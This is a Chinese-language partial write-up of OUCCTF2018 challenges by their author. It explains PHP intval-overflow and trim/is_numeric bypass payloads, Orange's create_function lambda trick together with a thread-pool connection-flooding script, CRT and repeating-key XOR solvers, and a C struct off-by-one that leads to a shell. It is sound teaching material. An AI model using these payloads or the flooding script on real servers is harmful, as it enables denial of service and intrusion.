0%

OUCCTF2018 Partial Writeup

本文中的 write up 仅包含鄙人负责的题目

Web

Web Sign In

Find the first flag at this website :)
Hint: Ctrl + U will take you enter into a new world!

Ctrl + U 查看网站源码就能在最底下找到 flag

flag{We1C0m3_7he_game!}


Magic Number

Give me the magic number and you can get flag.

打开网页什么也没有,抓包在响应头中获得 Hint

hint: ?source

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

if(isset($_GET['source'])){
highlight_file(__FILE__);
exit;
}

ini_set("display_error", false);
error_reporting(0);

include_once("flag.php");

// Do you know what it is doing?
function check($n) {
$n = strval($n);
$i = 0;
$j = strlen($n) - 1;
while($i < $j) {
if($n[$i] !== $n[$j])
return false;
$i++;
$j--;
}
return true;
}

$msg = "";
$request = [];

foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && is_numeric($value) && $request[$key] = addslashes($value);
}
}

if($request["number"]) {
if ($request["number"] != intval($request["number"])) {
$msg = "Number must be integer!";
} elseif ($request["number"][0] === "+" || $request["number"][0] === "-") {
$msg = "No symbol!";
} elseif (intval($request["number"]) != intval(strrev($request["number"]))) {
$msg = "Do you know what is the palindrome number?";
} else {
if(check($request["number"])) {
$msg = "You did not pass the check! Sorry I can not give you the flag.";
} else {
$msg = "Here is your flag: ".$flag;
}
}
}else{
header("hint: ?source");
die("Enjoy yourself!");
}

echo $msg;

?>

审计代码,首先对所有的 get 和 post 参数做了如下处理

1
2
3
4
5
6
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && is_numeric($value) && $request[$key] = addslashes($value);
}
}

传入的参数必须是字符串,且该字符串必须是数字,并且对字符串进行了转义处理,再向下看可以看到想拿到 flag 需要以下四个条件成立

1
2
3
4
$request["number"] == intval($request["number"]) // number 必须是数字
$request["number"][0] !== "+" && $request["number"][0] !== "-" // 不能有正负号
intval($request["number"]) == intval(strrev($request["number"])) // number 字符串反转后的 intval 必须和原来的 intval 相等
check($request["number"]) === false

前三个条件使得传入的 number 必须是一个回文数,类似 123321 这种的。看看 check 函数做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
// Do you know what it is doing?
function check($n) {
$n = strval($n); // n 转成字符串
$i = 0; // 计数器 i 从字符串起始位置开始
$j = strlen($n) - 1; // 计数器 j 从字符串最后一位开始
while($i < $j) {
if($n[$i] !== $n[$j])
return false;
$i++; // 从前往后移动
$j--; // 从后往前移动
}
return true;
}

即 check 函数在检查输入字符串是否是回文字符串,如果是则返回 true,否则返回 false。那么在看上面的第四个条件,即该字符串不能是回文字符串,这就和第三个条件产生了冲突,因此该题突破点不是在第三个条件就是在第四个条件上。

因为此题鄙人的设计不足,导致了很多非预期解(事实上只有一个队伍是按照预期解做的)

鄙人直接讲一讲预期解的做法吧,首先需要知道 PHP 的底层是用 C 实现的,在 C 语言中关于数字的取值范围存在着一些问题,比如整数溢出。PHP 中的 intval 函数的作用是将一个字符串转为数字,但是在 32 位系统最大带符号的 int 值 2147483648,在 64 位系统上,最大带符号的 int 值是 9223372036854775807。那么可以试想一下,如果给 intval 函数一个特别大的参数,它会返回什么?

在 32 位的系统上,intval(‘1000000000000’)会返回 2147483647,可以发现当给 intval 的参数足够大的时候,它的返回值总是固定的,这样就可以绕过使用 intval 的判断语句,即只要输入的数大于等于 9223372036854775807,intval 函数总会返回 9223372036854775807。

下面来处理回文问题。9223372036854775807 经过 strrev 反转后是 7085774586302733229,无法构成溢出,所以需要在 9223372036854775807 前面加一个 0,反转之后为 70857745863027332290,这个数就足够 intval 溢出了,拿到 flag。

flag{Wh4t_a_Mag1c_Numb3r}

以下为其他队伍的非预期解

1
2
3
4
5
6
0e-0 // 反转后经过 intval 处理还是 0
00e0 // 原理同上
0.00 // 原理同上
010000000000.00000000001 // 反转前与反转后的 intval 都为 10000000000
9223372036854775807.0000000000000000000000000000000000000001 // 也是利用了溢出,反转后的 intval 为 1000000000000000000000000000000000000000,溢出得到 9223372036854775807
%00%0c131 // 绕过 trim 和 is_numeric,原理是虽然最开始用了 trim 去除周围的空白字符,但是 PHP 底层函数中 trim 的实现并没有包含 \f(0x0c),而 is_numeric 函数在最开始会跳过传入参数的所有空白字符

Lambda

Orange will help you.

不知道 Orange?Google 一下“Orange CTF”。此题源自 hitcon2015,Orange 出的一道题最后一部分, 这是 Orange 当年自己在 PHP 底层挖到的一个 0day。虽然 create_function 创建了一个匿名函数,但是在 PHP 内部匿名函数也是有名字的

1
2
3
<?php
$func = create_function("","echo 123;");
var_dump($func);

可以看到创建的匿名函数的名字为”\0lambda_1”,再看 PHP 源码中对匿名函数名称的处理

1
2
3
4
5
6
7
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0'; // 匿名函数的第一位被替换为 \0

do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d"/* 匿名函数体为 lambda_%d,%d 被格式化为 lambda_count+1*/, ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);

可以看到在匿名函数的最前面被替换为 \0,中间为 lambda_,最后由 %d 格式化,这个 %d 为匿名函数的个数 +1,从 1 开始递增。

由于很多人都在同时做这个题,会同时创建很多个匿名函数,所以并不知道匿名函数的数量,也就不知道最后的 %d 被格式化到了多少,但是 Apache 中对于多进程有三种模式(prefork,worker 和 event),其中 prefork 为默认模式。现在来分析下 Apache-prefork 模式

prefork 的意思为”预先创建进程”,其官方介绍如下

From: https://httpd.apache.org/docs/2.4/mod/prefork.html
This Multi-Processing Module (MPM) implements a non-threaded, pre-forking web server. Each server process may answer incoming requests, and a parent process manages the size of the server pool. It is appropriate for sites that need to avoid threading for compatibility with non-thread-safe libraries. It is also the best MPM for isolating each request, so that a problem with a single request will not affect any other.
This MPM is very self-regulating, so it is rarely necessary to adjust its configuration directives. Most important is that MaxRequestWorkers be big enough to handle as many simultaneous requests as you expect to receive, but small enough to assure that there is enough physical RAM for all processes.

Apache2.4 中 prefork 模式下的参数如下

1
2
3
4
5
6
7
<IfModule mpm_prefork_module>
StartServers 5 # 启动时默认开启的进程数
MinSpareServers 5 # 最少空闲进程数
MaxSpareServers 10 # 最大空闲进程数
MaxRequestWorkers 150 # 并发最大请求数
MaxConnectionsPerChild 0 # 每个子进程在生命周期内所能够服务的最多请求个数
</IfModule>

当 Apache 启动后首先会启动 StartServers 个子进程,等待 1 秒后会再创建 2 个,再等待 1 秒后创建 4 个,以此类推直到创建到 MinSpareServers 个子进程为止,这些 fork 出的子进程会去等待用户连接,Apache 以此加快了处理用户请求的速度。

但如果一个用户发送了大量的 tcp 请求,占满了所有的 MaxRequestWorkers 后,Apache 在处理完所有的 MaxConnectionsPerChild 个 tcp 连接后会重新开启一个进程,而这个新的进程里的匿名函数的个数肯定是 1,这时再去带上匿名函数的名称(%00lambda_1)去访问就能得到 flag

flag{An0nm0us_Func_1s_l4m6da}

附 Orange 的 fork 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding: UTF-8
# Author: orange@chroot.org
# /?func_name=%00lambda_1

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass


def run(i):
while 1:
HOST = '***.***.***.***'
PORT = *
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(
'GET / HTTP/1.1\nHost: ***.***.***.***\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)


i = 8
pool = ThreadPool(i)
result = pool.map_async(run, range(i)).get(0xffff)

Crypto

CRT

What is CRT? PS: I like Sun Tzu!

不知道什么是 CRT?查一查。找不到和密码学有关的?Google “CRT Tzu”。此题主要考察了简单的中国剩余定理(孙子定理)。题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import flag


def check_key(key):
assert key.startswith("flag{") // key 的开头是 flag{
assert key.endswith("}") // key 的结尾是 }
return key[5:-1] // 最终的 key 为 flag{} 中括号之间的字符串


def generate(a, b):
with open("cipher.txt", "w") as f:
for i in range(len(b)):
f.write(str(a % b[i]) + "\n") // 用 a 模每一个 b


def main():
key = check_key(flag.flag)
x = int(key.encode("hex"), 16) // key 的16 进制
y = [
0x101, 0x107, 0x10d, 0x10f, 0x115,
0x119, 0x11b, 0x125, 0x133, 0x137,
0x139, 0x13d, 0x14b, 0x151, 0x15b,
0x15d, 0x161, 0x167, 0x16f, 0x175
]
generate(x, y)


if __name__ == '__main__':
main()

可以发现源码中将 flag{}花括号中的字符串作为 key,转成十六进制数字之后去模 b 中的每一个值,作为结果放入密文中,也就是要解 20 个同余方程,利用中国剩余定理求解即可。不难判断出 y 数组中所有值都是两两互质的,解题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
# Author: Srpopty
# Time: 2018.6.12
# Chinese remainder theorem(CRT)

from functools import reduce


def Euclidean_ex(a, b):
if b == 0:
return 1, 0, a
else:
x, y, q = Euclidean_ex(b, a % b)
x, y = y, (x - (a // b) * y)
return x, y, q


def Int2Str(x):
return hex(int(x))[2:-1].decode('hex')


def main():
x = [
257, 263, 269, 271,
277, 281, 283, 293,
307, 311, 313, 317,
331, 337, 347, 349,
353, 359, 367, 373
]

y = [
222, 82, 47, 96,
197, 29, 122, 197,
25, 8, 135, 175,
174, 149, 77, 345,
66, 112, 279, 129
]

M = reduce(lambda a, b: a * b, x)
Mi = [M//m for m in x]

Ti = [Euclidean_ex(Mi[i], x[i])[0] for i in range(len(x))]

result = 0
for i in range(len(x)):
result = (result + Mi[i] * Ti[i] * y[i]) % M

print "flag{%s}" % Int2Str(result)


if __name__ == '__main__':
main()

Poem

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import flag
import re


def check_key(key):
assert key.startswith("flag{")
assert key.endswith("}")
key = key[5:-1]
assert len(key) > 1 and len(key) < 50
return key # key 为 flag 中的字符串且 key 的长度大于 1 小于 50


def check_plain(plain):
assert re.match('[A-Za-z\s]*', plain) is not None
return plain # 明文由英文字符和空白字符组成


def encryt(key, plain):
cipher = ""
for i in range(len(plain)):
# 用 key 去循环异或加密明文
cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
return cipher


def get_plain():
plain = ""
with open("plain.txt") as f:
while True:
line = f.readline()
if line:
plain += line
else:
break
return plain


def main():
key = check_key(flag.flag)
plain = check_plain(get_plain())
cipher = encryt(key, plain)
with open("cipher.txt", "w") as f:
f.write(cipher.encode("base64")) # 将加密后的密文 base64 编码


if __name__ == "__main__":
main()

可以看到这段代码主要做的就是用同一个 key 去对明文循环循环,并且已知条件如下

  1. key 的长度大于 1 小于 50
  2. 明文由英文及空白字符组成
  3. 密文

原理:假设 key 为

1
key = 'xzy'

假设明文 (plain) 为

1
plain = 'abcdefg'

使用 key 对 plain 进行循环异或,则(假设密文为 C)

1
2
3
4
5
6
7
C[0] = 'x' ^ 'a'
C[1] = 'y' ^ 'b'
C[2] = 'z' ^ 'c'
C[3] = 'x' ^ 'd'
C[4] = 'y' ^ 'e'
C[5] = 'z' ^ 'f'
C[6] = 'x' ^ 'g'

整理一下(这里仅关注 key 的第一位’x’)

1
2
3
C[0] = 'x' ^ 'a'
C[3] = 'x' ^ 'd'
C[6] = 'x' ^ 'g'

根据异或的性质得

1
2
3
'a' = 'x' ^ C[0]
'd' = 'x' ^ C[3]
'g' = 'x' ^ C[6]

现在我们已知 C,并且知道明文 (‘a’,’b’,’c’这些) 的字符集,假设 k 为密钥,p 为明文,C 为密文

1
2
3
p[0] = k[0] ^ C[0]
p[3] = k[0] ^ C[3]
p[6] = k[0] ^ C[6]

穷举有所 k 的长度(理论上从 1 到无穷,题目中告诉了从 1 到 50),在每一个 k 长度中对 k 的每一个字符进行穷举(从 0 到 255)
k 中每个字符与 C 中对应字符进行异或,计算出明文 p,看 p 中多少字符在已知的明文字符集中,利用字频分析确定该穷举出的结果是否最优,穷举结束后取最优的一次穷举结果

理论上越接近 key 的真实长度,解密出的明文字符集越接近真实明文字符集,解题脚本如下(字频分析法的变种):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding: utf-8 -*-
# Author: Srpopty
# Time: 2018.6.12
# Exploit of Poem
from string import ascii_letters

VaildChar = ascii_letters + ' \n,.'


def GetFreq(string):
freq = 0
for ch in string:
freq += 1 if ch in VaildChar else 0
return freq


def GetCipher(filename):
with open(filename, 'rb') as f:
return (''.join([line for line in f.readlines()])).decode('base64')


def GetPlainFromPool(pool, cipher):
pool_length = len(pool)
return ''.join([pool[i % pool_length][i / pool_length] for i in range(len(cipher))])


def DecryptPool(cipher):
plain = ''
key = ''
freq = 0
for ch in range(256):
_plain = ''.join([chr(ord(c) ^ ch) for c in cipher])
_freq = GetFreq(_plain)
if _freq > freq:
plain, freq, key = _plain, _freq, chr(ch)
return plain, key, freq


def Decrypt(key_size, cipher):
cipher_pool = [""] * key_size
plain_pool = cipher_pool[:]
key = ''
freq = 0

for i in range(len(cipher)):
cipher_pool[i % key_size] += cipher[i]

for i in range(key_size):
plain_pool[i], _key, _freq = DecryptPool(cipher_pool[i])
freq += _freq
key += _key

return GetPlainFromPool(plain_pool, cipher), key, freq


def main():
key_min_length, key_max_length = 1, 50
freq = 0
key = ''
plain = ''
cipher = GetCipher('cipher.txt')

for key_size in range(key_min_length, key_max_length):
_plain, _key, _freq = Decrypt(key_size, cipher)
if _freq > freq:
freq, key, plain = _freq, _key, _plain

print '[*] Frequency: ' + str(freq)
print '[*] Key: ' + key
print '[*] Plain:\n' + plain
print ''
print 'flag{%s}' % key


if __name__ == '__main__':
main()

最后解密出的 plain 是一首诗(可能会有几个字母没对上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
From the hag and hungry goblin
That into rags would rend ye
The spirit that stands by the naked man
In the Book of Moons defend ye
That of your five sound senses
You never be forsaken
Nor wander from your selves with Tom
Abroad to beg your bacon
While I do sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
Of thirty bare years have I
Twice twenty been enraged
And of forty been three times fifteen
In durance soundly caged
On the lordly lofts of Bedlam
With stubble soft and dainty
Brave bracelets strong sweet whips ding dong
With wholesome hunger plenty
And now I sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
With a thought I took for Maudlin
And a cruse of cockle pottage
With a thing thus tall sky bless you all
I befell into this dotage
I slept not since the Conquest
Till then I never waked
Till the roguish boy of love where I lay
Me found and stript me naked
While I do sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
When I short have shorn my sows face
And swigged my horny barrel
In an oaken inn I pound my skin
As a suit of gilt apparel
The moons my constant mistress
And the lovely owl my marrow
The flaming drake and the night crow make
Me music to my sorrow
While I do sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
The palsy plagues my pulses
When I prig your pigs or pullen
Your culvers take or matchless make
Your Chanticleer or Sullen
When I want provant with Humphry
I sup and when benighted
I repose in Pauls with waking souls
Yet never am affrighted
But I do sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
I know more than Apollo
For oft when he lies sleeping
I see the stars at mortal wars
In the wounded welkin weeping
The moon embrace her shepherd
And the Queen of Love her warrior
While the first doth horn the star of morn
And the next the heavenly Farrier
While I do sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
The Gypsies Snap and Pedro
Are none of Toms comradoes
The punk I scorn and the cutpurse sworn
And the roaring boys bravadoes
The meek the white the gentle
Me handle not nor spare not
But those that cross Tom Rynosseross
Do what the panther dare not
Although I sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing
With an host of furious fancies
Whereof I am commander
With a burning spear and a horse of air
To the wilderness I wander
By a knight of ghosts and shadows
I summoned am to tourney
Ten leagues beyond the wide worlds end
Methinks it is no journey
Yet I will sing Any food any feeding
Feeding drink or clothing
Come dame or maid be not afraid
Poor Tom will injure nothing

解出的 flag 为

flag{1_dO_n0oooooot_L1k3_Cryp7ogr4phy}

Misc

Gambling

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define NAMEBUFFLEN 32
#define BETBUFFLEN 8

typedef struct _card{
char suit;
char value;
} card;

typedef struct _deck{
size_t deckSize;
size_t top;
card cards[52];
} deck;

typedef struct _player{
int money;
deck playerCards;
} player;

typedef struct _gameState{
int playerMoney;
player ctfer;
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;
} gameState;

gameState gameData;

//Shuffles the deck
//Make sure to call srand() before!
void shuffle(deck * inputDeck){
card temp;
size_t indexA, indexB;
size_t deckSize = inputDeck->deckSize;
for(unsigned int i=0; i < 1000; i++){
indexA = rand() % deckSize;
indexB = rand() % deckSize;
temp = inputDeck->cards[indexA];
inputDeck->cards[indexA] = inputDeck->cards[indexB];
inputDeck->cards[indexB] = temp;
}
}

//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
if(inputCard->suit > 4 || inputCard->value > 14){
return 1;
}
return 0;
}

//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
size_t count = 0;
char c;
while((c = getchar()) != '\n' && c != EOF){
if(count < (len-1)){
buff[count] = c;
count++;
}
}
buff[count+1] = '\x00';
return count;
}

//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
ctfer->playerCards.cards[j*4 + i].suit = i;
ctfer->playerCards.cards[j*4 + i].value = j+2;
}
}
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
opponent->playerCards.cards[j*4 + i].suit = i;
opponent->playerCards.cards[j*4 + i].value = j+9;
}
}
ctfer->playerCards.cards[24].suit = 0;
ctfer->playerCards.cards[24].value = 8;
ctfer->playerCards.cards[25].suit = 1;
ctfer->playerCards.cards[25].value = 8;
opponent->playerCards.cards[24].suit = 2;
opponent->playerCards.cards[24].value = 8;
opponent->playerCards.cards[25].suit = 3;
opponent->playerCards.cards[25].value = 8;

ctfer->playerCards.deckSize = 26;
ctfer->playerCards.top = 0;
opponent->playerCards.deckSize = 26;
opponent->playerCards.top = 0;
}

int main(int argc, char**argv){
char betStr[BETBUFFLEN];
card * oppCard;
card * playCard;
memset(&gameData, 0, sizeof(gameData));
gameData.playerMoney = 100;
int bet;

buildDecks(&gameData.ctfer, &gameData.opponent);
srand(time(NULL));//Not intended to be cryptographically strong

shuffle(&gameData.ctfer.playerCards);
shuffle(&gameData.opponent.playerCards);

setbuf(stdout, NULL);

//Set to be the smaller of the two decks.
gameData.deckSize = gameData.ctfer.playerCards.deckSize > gameData.opponent.playerCards.deckSize
? gameData.opponent.playerCards.deckSize : gameData.ctfer.playerCards.deckSize;

printf("Welcome\n");
printf("Enter your name: \n");
memset(gameData.name,0,NAMEBUFFLEN);
if(!readInput(gameData.name,NAMEBUFFLEN)){
printf("Read error. Exiting.\n");
exit(-1);
}
printf("Welcome %s\n", gameData.name);
while(1){
size_t playerIndex = gameData.ctfer.playerCards.top;
size_t oppIndex = gameData.opponent.playerCards.top;
oppCard = &gameData.opponent.playerCards.cards[oppIndex];
playCard = &gameData.ctfer.playerCards.cards[playerIndex];
printf("You have %d coins.\n", gameData.playerMoney);
printf("How much would you like to bet?\n");
memset(betStr,0,BETBUFFLEN);
if(!readInput(betStr,BETBUFFLEN)){
printf("Read error. Exiting.\n");
exit(-1);
};
bet = atoi(betStr);
printf("you bet %d.\n",bet);
if(!bet){
printf("Invalid bet\n");
continue;
}
if(bet < 0){
printf("No negative betting for you!\n");
continue;
}
if(bet > gameData.playerMoney){
printf("You don't have much.\n");
continue;
}
printf("The opponent has a %d of suit %d.\n", oppCard->value, oppCard->suit);
printf("You have a %d of suit %d.\n", playCard->value, playCard->suit);
if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){
printf("Something must be wrong...\n");
if(checkInvalidCard(playCard)){
printf("That's not actually a valid card.\n");
}else{
printf("You won!\n");
gameData.playerMoney += bet;
}
}else{
printf("You lost!\n");
gameData.playerMoney -= bet;
}
gameData.ctfer.playerCards.top++;
gameData.opponent.playerCards.top++;
if(gameData.playerMoney <= 0){
printf("You are out of coins. Game over.\n");
exit(0);
}else if(gameData.playerMoney > 500){
printf("You won the game!\n");
system("/bin/sh -i");
exit(0);
}

//TODO: Implement card switching hands. Cheap hack here for playability
gameData.deckSize--;
if(gameData.deckSize == 0){
printf("All card used.\n");
exit(0);
}
printf("\n");
fflush(stdout);
};

return 0;
}

这到题比较偏向于 Pwn,但是鄙人还是把它归类于 Misc,此题仅仅考察了结构体中的数据溢出的问题。首先可以看到源码中内置了一个 shell,我们的目标就是赢得游戏,拿到这个 shell

1
2
3
4
5
6
7
8
if(gameData.playerMoney <= 0){
printf("You are out of coins. Game over.\n");
exit(0);
}else if(gameData.playerMoney > 500){
printf("You won the game!\n");
system("/bin/sh -i");
exit(0);
}

其余代码就不具体分析了,存在溢出的结构体为

1
2
3
4
5
6
7
typedef struct _gameState{
int playerMoney;
player ctfer;
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;
} gameState;

宏中定义了 name 数组的大小 NAMEBUFFLEN 为 32,但是再看存储玩家输入的 name 的时候代码做了什么

1
2
3
4
5
6
7
printf("Welcome\n");
printf("Enter your name: \n");
memset(gameData.name,0,NAMEBUFFLEN);
if(!readInput(gameData.name,NAMEBUFFLEN)){
printf("Read error. Exiting.\n");
exit(-1);
}

可以看到调用 readInput 给 gameData 中的 name 数组存入了 NAMEBUFFLEN 大小的 name,继续跟进 readInput

1
2
3
4
5
6
7
8
9
10
11
12
13
//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
size_t count = 0;
char c;
while((c = getchar()) != '\n' && c != EOF){
if(count < (len-1)){
buff[count] = c;
count++;
}
}
buff[count+1] = '\x00';
return count;
}

首先用了个 count 做计数器,计算一行读入了多少个字符,注意这里终止在 buff 中记录 name 的条件是count < (len-1),如果我们输入 32 个字符,那么当 count 为 31 时终止读入字符到 buff 中,继续往下看,结尾有个很奇怪的行为buff[count+1] = '\x00';

当在 buff 读入终止后此时的 count 为 31,count+1 为 32,会将 buff 第 32 位设置为 0x00,而 buff 的大小为 32,下标从 0 到 31,当读入的 name 超过了 31 到 32 的时候会发生什么?看结构体 name 数组下面那个变量

1
2
char name[NAMEBUFFLEN];
size_t deckSize;

在结构体中的数据是相邻存放的,即从 name 中溢出的第 32 位字符(\x00)会将 deckSize 置 0,那么现在我们可以控制 deckSize 为 0,继续跟进 deckSize 到最后

1
2
3
4
5
6
//TODO: Implement card switching hands. Cheap hack here for playability
gameData.deckSize--;
if(gameData.deckSize == 0){
printf("All card used.\n");
exit(0);
}

可以看到在检查 deckSize 为 0 之前先自减了一次,即此时 deckSize 变成了 -1,这意味着 deckSize 将永远不会为 0,我们的牌就永远用不完,但是这又有什么用?我们的目标是赢得游戏,那么继续向前看

1
2
3
4
5
6
7
8
9
10
typedef struct _deck{
size_t deckSize;
size_t top;
card cards[52];
} deck;

typedef struct _player{
int money;
deck playerCards;
} player;

我们的牌存储在_deck 结构体中的 cards 中,游戏中每次摸牌的时候就是从这个数组中取,可以看到这个数组的大小只有 52,那么当我们把 52 张牌都用完了,并且还没有结束游戏的时候会发生什么?我们来把这三个结构体的顺序仔细分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct _card{
char suit;
char value;
} card;

typedef struct _deck{
size_t deckSize;
size_t top;
card cards[52]; // 恰巧这个结构体中最后一项数据就是我们的牌
} deck;

typedef struct _player{
int money;
deck playerCards; // 而这个结构体的结尾存储上面的 deck 结构体
} player;

typedef struct _gameState{
int playerMoney;
player ctfer; // 这里存储上一个 player 结构体
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;
} gameState;

此时我们看一下 gameData 中我们关心的数据在内存中是如何存放的

1
2
3
4
5
6
7
8
···
···
size_t top
card cards * 52
char name * 32
size_t deckSize
···
···

结构体是按照数据的定义顺序存放的,可以看到 cards 数组紧挨着 name 数组,而游戏中摸牌的时候是根据 top 来摸的,top 如果大于了 52(如果我们不能控制 deckSize 的话此时游戏已经结束了),摸牌的时候就会从 name 数组中按照 card 结构体的大小去取,所以当摸了超过 52 张牌后我们就可以控制 card 的 value。试验一下我们取名字时取 32 个 A,每一赌 1 个 coin,当剩下 48 个 coin 时(即已经摸完了 52 张牌),会出现如下结果

65 恰巧就是’A’的 ASCII 码,这印证了前面的猜想,但是注意到它会说That's not actually a valid card.,回到源码中看到这是由于没有通过检查函数

1
2
3
4
5
6
7
//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
if(inputCard->suit > 4 || inputCard->value > 14){
return 1;
}
return 0;
}

现在检查条件中的 inputCard->value 是我们可以随意控制的,但是 65 大于 14,所以没有通过检查。现在我们有两个解决办法:

  1. 用脚本去发送 32 个’\x13’作为我们的名字
  2. 继续向下赌,每次赌 1 个 coin。

还记得前面的 top 吗?虽然我们的名字是 32 个’A’(65),但是当 top 越过了 name 数组后碰到的会是后面的变量

我们看看 name 和 deckSize 变量后面有哪些数据

1
2
3
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;

正好是我们的对手的数据,这样让 top 一直增加,直到到了 opponent 的 cards 数组里,我们看一下在创建牌组的时候代码为 opponent 的牌组做了些什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
ctfer->playerCards.cards[j*4 + i].suit = i;
ctfer->playerCards.cards[j*4 + i].value = j+2;
}
}
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
opponent->playerCards.cards[j*4 + i].suit = i;
opponent->playerCards.cards[j*4 + i].value = j+9;
}
}
ctfer->playerCards.cards[24].suit = 0;
ctfer->playerCards.cards[24].value = 8;
ctfer->playerCards.cards[25].suit = 1;
ctfer->playerCards.cards[25].value = 8;
opponent->playerCards.cards[24].suit = 2;
opponent->playerCards.cards[24].value = 8;
opponent->playerCards.cards[25].suit = 3;
opponent->playerCards.cards[25].value = 8;

ctfer->playerCards.deckSize = 26;
ctfer->playerCards.top = 0;
opponent->playerCards.deckSize = 26;
opponent->playerCards.top = 0;
}

很明显的可以看到 opponent 的牌 value 明显大于我们,那么我们在出牌的时候 value 就会是 opponent 的 value 了
注意 top 时同时增长的,我们的 top 到了 opponent 的数据区里,而 opponent 的 top 到哪就不关我们的事了,这样就能赢了
最后拿到 shell,flag 为

flag{W0W_Y0u_w1n_7he_g4mb11ng}